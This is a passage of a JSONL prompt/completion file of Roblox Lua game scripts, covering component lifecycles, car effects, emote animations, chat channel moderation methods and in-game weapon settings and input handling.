do\n\t\t\tself._trove:Add(Component.ObserveFromTag(requiredComponent, function(_component, trove)\n\t\t\t\ttagsReady[requiredComponent] = true\n\t\t\t\tCheck()\n\t\t\t\ttrove:Add(function()\n\t\t\t\t\ttagsReady[requiredComponent] = false\n\t\t\t\t\tCleanup()\n\t\t\t\tend)\n\t\t\tend))\n\t\tend\n\tend\n\n\tcomponentsByTag[tag] = self\n\tcomponentByTagCreated:Fire(self)\n\tself._trove:Add(function()\n\t\tcomponentsByTag[tag] = nil\n\t\tcomponentByTagDestroyed:Fire(self)\n\tend)\n\n\treturn self\n\nend\n\n\nfunction Component:_startHeartbeatUpdate()\n\tlocal all = self._objects\n\tself._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)\n\t\tfor _,v in ipairs(all) do\n\t\t\tv:HeartbeatUpdate(dt)\n\t\tend\n\tend)\n\tself._lifecycleTrove:Add(self._heartbeatUpdate)\nend\n\n\nfunction Component:_startSteppedUpdate()\n\tlocal all = self._objects\n\tself._steppedUpdate = RunService.Stepped:Connect(function(_, dt)\n\t\tfor _,v in ipairs(all) do\n\t\t\tv:SteppedUpdate(dt)\n\t\tend\n\tend)\n\tself._lifecycleTrove:Add(self._steppedUpdate)\nend\n\n\nfunction Component:_startRenderUpdate()\n\tlocal all = self._objects\n\tself._renderName = (self._tag .. \"RenderUpdate\")\n\tRunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)\n\t\tfor _,v in ipairs(all) do\n\t\t\tv:RenderUpdate(dt)\n\t\tend\n\tend)\n\tself._lifecycleTrove:Add(function()\n\t\tRunService:UnbindFromRenderStep(self._renderName)\n\tend)\nend\n\n\nfunction Component:_startLifecycle()\n\tself._lifecycle = true\n\tif self._hasHeartbeatUpdate then\n\t\tself:_startHeartbeatUpdate()\n\tend\n\tif self._hasSteppedUpdate then\n\t\tself:_startSteppedUpdate()\n\tend\n\tif self._hasRenderUpdate then\n\t\tself:_startRenderUpdate()\n\tend\nend\n\n\nfunction Component:_stopLifecycle()\n\tself._lifecycle = false\n\tself._lifecycleTrove:Clean()\nend\n\n\nfunction Component:_instanceAdded(instance)\n\tif self._instancesToObjects[instance] then return end\n\tif not self._lifecycle then\n\t\tself:_startLifecycle()\n\tend\n\tself._nextId = (self._nextId + 1)\n\tlocal id = (self._tag .. tostring(self._nextId))\n\tif IS_SERVER then\n\t\tinstance:SetAttribute(ATTRIBUTE_ID_NAME, id)\n\tend\n\tlocal obj = self._class.new(instance)\n\tobj.Instance = instance\n\tobj._id = id\n\tself._instancesToObjects[instance] = obj\n\ttable.insert(self._objects, obj)\n\tif self._hasInit then\n\t\ttask.defer(function()\n\t\t\tif self._instancesToObjects[instance] ~= obj then return end\n\t\t\tobj:Init()\n\t\tend)\n\tend\n\tself.Added:Fire(obj)\n\treturn obj\nend\n\n\nfunction Component:_instanceRemoved(instance)\n\tif not self._instancesToObjects[instance] then return end\n\tself._instancesToObjects[instance] = nil\n\tfor i,obj in ipairs(self._objects) do\n\t\tif obj.Instance == instance then\n\t\t\tif self._hasDeinit then\n\t\t\t\tobj:Deinit()\n\t\t\tend\n\t\t\tif IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil then\n\t\t\t\tinstance:SetAttribute(ATTRIBUTE_ID_NAME, nil)\n\t\t\tend\n\t\t\tself.Removed:Fire(obj)\n\t\t\tobj:Destroy()\n\t\t\tobj._destroyed = true\n\t\t\tTableUtil.SwapRemove(self._objects, i)\n\t\t\tbreak\n\t\tend\n\tend\n\tif #self._objects == 0 and self._lifecycle then\n\t\tself:_stopLifecycle()\n\tend\nend\n\n"} +{"prompt": "--", "completion": "\n\nlocal KeyframeAnimation = script.Animation.Value\nlocal rig = script.Rig.Value\nlocal origin = script.Origin.Value\n\nlocal keyframeList = KeyframeAnimation:GetKeyframes()\n\nlocal KFNumber = 1\nlocal maxKFNumber = #keyframeList\n\nlocal basePositions = {}\nlocal lastPositions = {}\nlocal desiredPositions = {}\n"} +{"prompt": "-- constants", "completion": "\n\nlocal SQUADS\t= ReplicatedStorage.Squads\nlocal REMOTES\t= ReplicatedStorage.Remotes\n"} +{"prompt": "-- Cosmetic bullet container", "completion": "\nlocal CosmeticBulletsFolder = workspace:FindFirstChild(\"CosmeticBulletsFolder\") or Instance.new(\"Folder\", workspace)\nCosmeticBulletsFolder.Name = \"CosmeticBulletsFolder\"\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nwait(0.1)\nlocal car = script.Parent.Car.Value\nlocal handler = car.Backfire\nwhile wait(0.1) do\n local randomability = math.random(1, 2)\n if script.Parent.Values.RPM.Value > 5000 and randomability <= 1 and script.Parent.Values.Throttle.Value < 0.05 then\n wait(0.03)\n wait(0.07)\n end\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture2.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture3.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture4.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture5.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n handler:FireServer(\"Heat\", math.max(math.min(car.Body.Exhaust.Hot1.Texture6.Transparency + 0.005 * (script.Parent.Values.RPM.Value / 5000 * script.Parent.Values.Throttle.Value) - 0.003, 1), 0))\n if car.Body.Exhaust.Hot1.Texture.Transparency > 0.9 then\n car.Body.Exhaust.Hot1.Texture2.Transparency = 0.9\n car.Body.Exhaust.Hot1.Texture3.Transparency = 0.9\n car.Body.Exhaust.Hot1.Texture4.Transparency = 0.9\n car.Body.Exhaust.Hot1.Texture5.Transparency = 0.9\n car.Body.Exhaust.Hot1.Texture6.Transparency = 0.9\n value2 = NumberRange.new(5 * script.Parent.Values.Throttle.Value, 10 * script.Parent.Values.Throttle.Value)\n value3 = 100 * script.Parent.Values.Throttle.Value\n handler:FireServer(\"Sparks\", true, value2, value3)\n else\n handler:FireServer(\"Sparks\", false)\n end\nend\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (config ~= nil) then\n\t\t--\t\tprint(\"Loading anims \" .. name)\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\t--\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. animTable[name][idx].anim.AnimationId .. \" (\" .. animTable[name][idx].weight .. \")\")\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\t\t--\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")\n\t\tend\n\tend\nend\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 8 -- Blast radius of the explosion\nlocal BLAST_DAMAGE = 60 -- Amount of damage done to players\nlocal BLAST_FORCE = 1000 -- Amount of force applied to parts\n\nlocal IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these"} +{"prompt": "-- Attack state", "completion": "\nlocal attacking = false\nlocal searchingForTargets = false\n"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\n\nlocal methods = {}\nmethods.__index = methods\n\nfunction methods:SendSystemMessage(message, extraData)\n\tlocal messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)\n\n\tlocal success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)\n\tif not success and err then\n\t\tprint(\"Error posting message: \" ..err)\n\tend\n\n\tself:InternalAddMessageToHistoryLog(messageObj)\n\n\tfor i, speaker in pairs(self.Speakers) do\n\t\tspeaker:InternalSendSystemMessage(messageObj, self.Name)\n\tend\n\n\treturn messageObj\nend\n\nfunction methods:SendSystemMessageToSpeaker(message, speakerName, extraData)\n\tlocal speaker = self.Speakers[speakerName]\n\tif (speaker) then\n\t\tlocal messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)\n\t\tspeaker:InternalSendSystemMessage(messageObj, self.Name)\n\telseif RunService:IsStudio() then\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot be sent a system message\", speakerName, self.Name))\n\tend\nend\n\nfunction methods:SendMessageObjToFilters(message, messageObj, fromSpeaker)\n\tlocal oldMessage = messageObj.Message\n\tmessageObj.Message = message\n\tself:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)\n\tself.ChatService:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)\n\tlocal newMessage = messageObj.Message\n\tmessageObj.Message = oldMessage\n\treturn newMessage\nend\n\nfunction methods:CanCommunicateByUserId(userId1, userId2)\n\tif RunService:IsStudio() then\n\t\treturn true\n\tend\n\t-- UserId is set as 0 for non player speakers.\n\tif userId1 == 0 or userId2 == 0 then\n\t\treturn true\n\tend\n\tlocal success, canCommunicate = pcall(function()\n\t\treturn Chat:CanUsersChatAsync(userId1, userId2)\n\tend)\n\treturn success and canCommunicate\nend\n\nfunction methods:CanCommunicate(speakerObj1, speakerObj2)\n\tlocal player1 = speakerObj1:GetPlayer()\n\tlocal player2 = speakerObj2:GetPlayer()\n\tif player1 and player2 then\n\t\treturn self:CanCommunicateByUserId(player1.UserId, player2.UserId)\n\tend\n\treturn true\nend\n\nfunction methods:SendMessageToSpeaker(message, speakerName, fromSpeakerName, extraData)\n\tlocal speakerTo = self.Speakers[speakerName]\n\tlocal speakerFrom = self.ChatService:GetSpeaker(fromSpeakerName)\n\tif speakerTo and speakerFrom then\n\t\tlocal isMuted = speakerTo:IsSpeakerMuted(fromSpeakerName)\n\t\tif isMuted then\n\t\t\treturn\n\t\tend\n\n\t\tif not self:CanCommunicate(speakerTo, speakerFrom) then\n\t\t\treturn\n\t\tend\n\n\t\t-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.\n\t\tlocal isFiltered = speakerName == fromSpeakerName\n\t\tlocal messageObj = self:InternalCreateMessageObject(message, fromSpeakerName, isFiltered, extraData)\n\t\tmessage = self:SendMessageObjToFilters(message, messageObj, fromSpeakerName)\n\t\tspeakerTo:InternalSendMessage(messageObj, self.Name)\n\n\t\tlocal textContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat\n\t\tlocal filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(\n\t\t\tmessageObj.FromSpeaker,\n\t\t\tmessage,\n\t\t\ttextContext\n\t\t)\n\t\tif (filterSuccess) then\n\t\t\tmessageObj.FilterResult = filteredMessage\n\t\t\tmessageObj.IsFilterResult = isFilterResult\n\t\t\tmessageObj.IsFiltered = true\n\t\t\tspeakerTo:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)\n\t\tend\n\telseif RunService:IsStudio() then\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot be sent a message\", speakerName, self.Name))\n\tend\nend\n\nfunction methods:KickSpeaker(speakerName, reason)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tlocal messageToSpeaker = \"\"\n\tlocal messageToChannel = \"\"\n\tlocal playerName = speaker:GetNameForDisplay()\n\n\tif (reason) then\n\t\tmessageToSpeaker = string.format(\"You were kicked from '%s' for the following reason(s): %s\", self.Name, reason)\n\t\tmessageToChannel = string.format(\"%s was kicked for the following reason(s): %s\", playerName, reason)\n\telse\n\t\tmessageToSpeaker = string.format(\"You were kicked from '%s'\", self.Name)\n\t\tmessageToChannel = string.format(\"%s was kicked\", playerName)\n\tend\n\n\tself:SendSystemMessageToSpeaker(messageToSpeaker, speakerName)\n\tspeaker:LeaveChannel(self.Name)\n\tself:SendSystemMessage(messageToChannel)\nend\n\nfunction methods:MuteSpeaker(speakerName, reason, length)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tself.Mutes[speakerName:lower()] = (length == 0 or length == nil) and 0 or (os.time() + length)\n\n\tif (reason) then\n\t\tlocal playerName = speaker:GetNameForDisplay()\n\n\t\tself:SendSystemMessage(string.format(\"%s was muted for the following reason(s): %s\", playerName, reason))\n\tend\n\n\tlocal success, err = pcall(function() self.eSpeakerMuted:Fire(speakerName, reason, length) end)\n\tif not success and err then\n\t\tprint(\"Error mutting speaker: \" ..err)\n\tend\n\n\tlocal spkr = self.ChatService:GetSpeaker(speakerName)\n\tif (spkr) then\n\t\tlocal success, err = pcall(function() spkr.eMuted:Fire(self.Name, reason, length) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error mutting speaker: \" ..err)\n\t\tend\n\tend\n\nend\n\nfunction methods:UnmuteSpeaker(speakerName)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tself.Mutes[speakerName:lower()] = nil\n\n\tlocal success, err = pcall(function() self.eSpeakerUnmuted:Fire(speakerName) end)\n\tif not success and err then\n\t\tprint(\"Error unmuting speaker: \" ..err)\n\tend\n\n\tlocal spkr = self.ChatService:GetSpeaker(speakerName)\n\tif (spkr) then\n\t\tlocal success, err = pcall(function() spkr.eUnmuted:Fire(self.Name) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error unmuting speaker: \" ..err)\n\t\tend\n\tend\nend\n\nfunction methods:IsSpeakerMuted(speakerName)\n\treturn (self.Mutes[speakerName:lower()] ~= nil)\nend\n\nfunction methods:GetSpeakerList()\n\tlocal list = {}\n\tfor i, speaker in pairs(self.Speakers) do\n\t\ttable.insert(list, speaker.Name)\n\tend\n\treturn list\nend\n\nfunction methods:RegisterFilterMessageFunction(funcId, func, priority)\n\tif self.FilterMessageFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"FilterMessageFunction '%s' already exists\", funcId))\n\tend\n\tself.FilterMessageFunctions:AddFunction(funcId, func, priority)\nend\n\nfunction methods:FilterMessageFunctionExists(funcId)\n\treturn self.FilterMessageFunctions:HasFunction(funcId)\nend\n\nfunction methods:UnregisterFilterMessageFunction(funcId)\n\tif not self.FilterMessageFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"FilterMessageFunction '%s' does not exists\", funcId))\n\tend\n\tself.FilterMessageFunctions:RemoveFunction(funcId)\nend\n\nfunction methods:RegisterProcessCommandsFunction(funcId, func, priority)\n\tif self.ProcessCommandsFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"ProcessCommandsFunction '%s' already exists\", funcId))\n\tend\n\tself.ProcessCommandsFunctions:AddFunction(funcId, func, priority)\nend\n\nfunction methods:ProcessCommandsFunctionExists(funcId)\n\treturn self.ProcessCommandsFunctions:HasFunction(funcId)\nend\n\nfunction methods:UnregisterProcessCommandsFunction(funcId)\n\tif not self.ProcessCommandsFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"ProcessCommandsFunction '%s' does not exist\", funcId))\n\tend\n\tself.ProcessCommandsFunctions:RemoveFunction(funcId)\nend\n\nlocal function ShallowCopy(table)\n\tlocal copy = {}\n\tfor i, v in pairs(table) do\n\t\tcopy[i] = v\n\tend\n\treturn copy\nend\n\nfunction methods:GetHistoryLog()\n\treturn ShallowCopy(self.ChatHistory)\nend\n\nfunction methods:GetHistoryLogForSpeaker(speaker)\n\tlocal userId = -1\n\tlocal player = speaker:GetPlayer()\n\tif player then\n\t\tuserId = player.UserId\n\tend\n\tlocal chatlog = {}\n\n\tfor i = 1, #self.ChatHistory do\n\t\tlocal logUserId = self.ChatHistory[i].SpeakerUserId\n\t\tif self:CanCommunicateByUserId(userId, logUserId) then\n\t\t\tlocal messageObj = ShallowCopy(self.ChatHistory[i])\n\n\t\t\t--// Since we're using the new filter API, we need to convert the stored filter result\n\t\t\t--// into an actual string message to send to players for their chat history.\n\t\t\t--// System messages aren't filtered the same way, so they just have a regular\n\t\t\t--// text value in the Message field.\n\t\t\tif (messageObj.MessageType == ChatConstants.MessageTypeDefault or messageObj.MessageType == ChatConstants.MessageTypeMeCommand) then\n\t\t\t\tlocal filterResult = messageObj.FilterResult\n\t\t\t\tif (messageObj.IsFilterResult) then\n\t\t\t\t\tif (player) then\n\t\t\t\t\t\tmessageObj.Message = filterResult:GetChatForUserAsync(player.UserId)\n\t\t\t\t\telse\n\t\t\t\t\t\tmessageObj.Message = filterResult:GetNonChatStringForBroadcastAsync()\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tmessageObj.Message = filterResult\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ttable.insert(chatlog, messageObj)\n\t\tend\n\tend\n\treturn chatlog\nend\n"} +{"prompt": "-- Colors", "completion": "\nBorder.Color = Colors.White\n\nContainerGui:GetAttributeChangedSignal(\"ThemeColor\"):Connect(function()\n\tlocal themeColor = ContainerGui:GetAttribute(\"ThemeColor\")\n\tGradient.Color = ColorSequence.new(themeColor)\nend)\n\n"} +{"prompt": "--script.Parent.Speed.MouseButton1Click:connect(function()\n--\tif currentUnits==#UNITS then\n--\t\tcurrentUnits = 1\n--\telse\n--\t\tcurrentUnits = currentUnits+1\n--\tend\n--\tfor i,v in pairs(script.Parent.Spd.G:GetChildren()) do\n--\t\tv.Visible=v.Name==UNITS[currentUnits].units or v.Name==\"Needle\" or v.Name==\"lns\"\n--\tend\n--\tscript.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. \" \"..UNITS[currentUnits].units\n--end)", "completion": "\n\nmouse.KeyDown:connect(function(key)\n\tif key==\"v\" then\n\t\tscript.Parent.Visible=not script.Parent.Visible\n\tend\nend)\n\nscript.Parent.Parent.Values.Gear.Changed:Connect(function()\n\tlocal gearText = script.Parent.Parent.Values.Gear.Value\n\tif gearText == 0 then \n\t\tgearText = \"N\"\n\t\tcar.Body.Dash.D.G.Info.Gear.Text = \"N\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',false)\n\telseif gearText == -1 then\n\t\tgearText = \"R\"\n\t\tcar.Body.Dash.D.G.Info.Gear.Text = \"R\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',true)\n\telse\n\t\tgearText = \"D\"\n\tend\n\t\tcar.Body.Dash.D.G.Info.Gear.Text = gearText\n\t\tscript.Parent.Tac.G.Gear.Text = gearText\nend)\n\nwhile wait() do\n\tlocal speed = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tfor i, v in pairs(script.Parent.Tac.G:GetChildren()) do\n\t\tif v:IsA(\"Frame\") and v.Name ~= \"Unit\" then\n\t\t\tlocal rt = math.abs(script.Parent.Tac.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))\n\t\t\tv.Num.TextSize = math.max(18,(18 - (((rt/4)^2)-18)))\n\t\tend\n\tend\n\tfor i, u in pairs(script.Parent.Spd.G:GetChildren()) do\n\t\tfor j,v in pairs(u:GetChildren()) do\n\t\t\tif v:IsA(\"Frame\") and v.Name ~= \"Unit\" then\n\t\t\t\tlocal st = math.abs(script.Parent.Spd.G.Needle.AbsoluteRotation - (v.AbsoluteRotation))\n\t\t\t\tif v:FindFirstChild(\"Num\") then\n\t\t\t\t\tv.Num.TextSize = math.max(16,(16 - (((st/4)^2)-16)))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2200\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 3\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "-- setup emote chat hook", "completion": "\nscript.msg.Changed:connect(function(msg)\n\tscript.msg.Value = \"\"\n\tlocal emote = \"\"\n\tif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\t\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, 0.1, Humanoid)\n\tend"} +{"prompt": "-- GROUPS", "completion": "\nGroups = {\n\t[0] = {\n\t\t[254] = \"Admin\";\n\t\t[1] = \"VIP\";\n\t\t};\n};\n\n"} +{"prompt": "--------------------[ GUI UPDATE FUNCTIONS ]------------------------------------------", "completion": "\n\nlocal function updateClipAmmo()\n\tclipAmmoGUI.Text = Ammo.Value\n\tclipAmmoGUI.TextColor3 = (Ammo.Value <= (ClipSize.Value / 3) and Color3.new(1, 0, 0) or Color3.new(1, 1, 1))\nend\n\nlocal function updateStoredAmmo()\n\tstoredAmmoGUI.Text = StoredAmmo.Value\n\tstoredAmmoGUI.TextColor3 = (StoredAmmo.Value <= (ClipSize.Value * 2) and Color3.new(1, 0, 0) or Color3.new(1, 1, 1))\nend\n\nlocal function updateHealth()\n\tHUD.Health.Num.Text = CEIL(Humanoid.Health)..\"%\"\n\tHUD.Health.Num.TextColor3 = (\n\t\t(Humanoid.Health > 200 / 3) and Color3.new(1, 1, 1) or\n\t\t(Humanoid.Health <= 200 / 3 and Humanoid.Health > 100 / 3) and Color3.new(1, 1, 0) or\n\t\t(Humanoid.Health <= 100 / 3) and Color3.new(1, 0, 0)\n\t)\nend\n\nlocal function updateModeLabels(prevState, newState, X)\n\tfor Num, Mode in pairs(fireModes:GetChildren()) do\n\t\tlocal guiAngOffset2 = guiAngOffset + 90\n\t\tlocal Ang = numLerp(\n\t\t\t(guiAngOffset2 * prevState) - (guiAngOffset2 * Num) - guiAngOffset2,\n\t\t\t(guiAngOffset2 * newState) - (guiAngOffset2 * Num) - guiAngOffset2,\n\t\t\tSine(X)\n\t\t) + guiAngOffset\n\t\tlocal XPos = COS(RAD(Ang))\n\t\tlocal YPos = SIN(RAD(Ang))\n\t\tMode.Position = UDim2.new(0.5, XPos * 100, 0.5, YPos * 100)\n\t\t\n\t\tlocal R = COS(math.atan2(Mode.Position.Y.Offset, Mode.Position.X.Offset) + RAD(90))\n\t\tMode.Label.TextTransparency = 1 - ((R / 4) + 0.75)\n\t\t\n\t\tlocal Scale = (R * 10) + 50\n\t\tMode.Label.Position = UDim2.new(0, -Scale / 2, 0, 0)\n\t\tMode.Label.Size = UDim2.new(0, Scale, 0, Scale / 2)\n\tend\nend\n"} +{"prompt": "--// Input Connections", "completion": "\nL_101_.InputBegan:connect(function(L_303_arg1, L_304_arg2)\n\tif not L_304_arg2 and L_15_ then\n\t\tif L_303_arg1.UserInputType == Enum.UserInputType.MouseButton2 or L_303_arg1.KeyCode == Enum.KeyCode.ButtonL2 and not L_75_ and not L_74_ and L_24_.CanAim and not L_71_ and L_15_ and not L_63_ and not L_64_ then\n\t\t\tif not L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_148_ = 10\n\t\t\t\t\tL_147_ = 0.008\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then\n\t\t\t\t\tL_93_ = L_50_\n\t\t\t\tend\n\t\t\t\tL_126_.target = L_53_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_109_:FireServer(true)\t\t\t\t\n\t\t\t\tL_61_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_76_ and not L_77_ then\n\t\t\tL_76_ = true\n\t\t\tL_78_ = false\n\t\t\tL_77_ = true\n\t\t\tLeanRight()\n\t\tend\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_76_ and not L_78_ then\n\t\t\tL_76_ = true\n\t\t\tL_77_ = false\n\t\t\tL_78_ = true\n\t\t\tLeanLeft()\n\t\tend\n\t\t\n\t\tif L_303_arg1.KeyCode == L_24_.AlternateAimKey and not L_75_ and not L_74_ and L_24_.CanAim and not L_71_ and L_15_ and not L_63_ and not L_64_ then\n\t\t\tif not L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_148_ = 10\n\t\t\t\t\tL_147_ = 0.008\n\t\t\t\tend\n\t\t\t\tL_93_ = L_50_\n\t\t\t\tL_126_.target = L_53_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_109_:FireServer(true)\n\t\t\t\tL_61_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_303_arg1.UserInputType == Enum.UserInputType.MouseButton1 or L_303_arg1.KeyCode == Enum.KeyCode.ButtonR2 and not L_74_ and L_66_ and L_15_ and not L_63_ and not L_64_ and not L_71_ then\n\t\t\tL_65_ = true\n\t\t\tif not Shooting and L_15_ and not L_79_ then\n\t\t\t\tif L_97_ > 0 then\t\t\t\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\telseif not Shooting and L_15_ and L_79_ then\n\t\t\t\tif L_99_ > 0 then\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == L_24_.LaserKey or L_303_arg1.KeyCode == Enum.KeyCode.DPadRight and L_15_ and L_24_.LaserAttached then\n\t\t\tlocal L_305_ = L_1_:FindFirstChild(\"LaserLight\")\n\t\t\tL_115_.KeyDown[1].Plugin()\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == L_24_.LightKey or L_303_arg1.KeyCode == Enum.KeyCode.ButtonR3 and L_15_ and L_24_.LightAttached then\n\t\t\tlocal L_306_ = L_1_:FindFirstChild(\"FlashLight\"):FindFirstChild('Light')\n\t\t\tlocal L_307_ = false\n\t\t\tL_306_.Enabled = not L_306_.Enabled\n\t\tend;\n\t\t\n\t\tif L_15_ and L_303_arg1.KeyCode == L_24_.FireSelectKey or L_303_arg1.KeyCode == 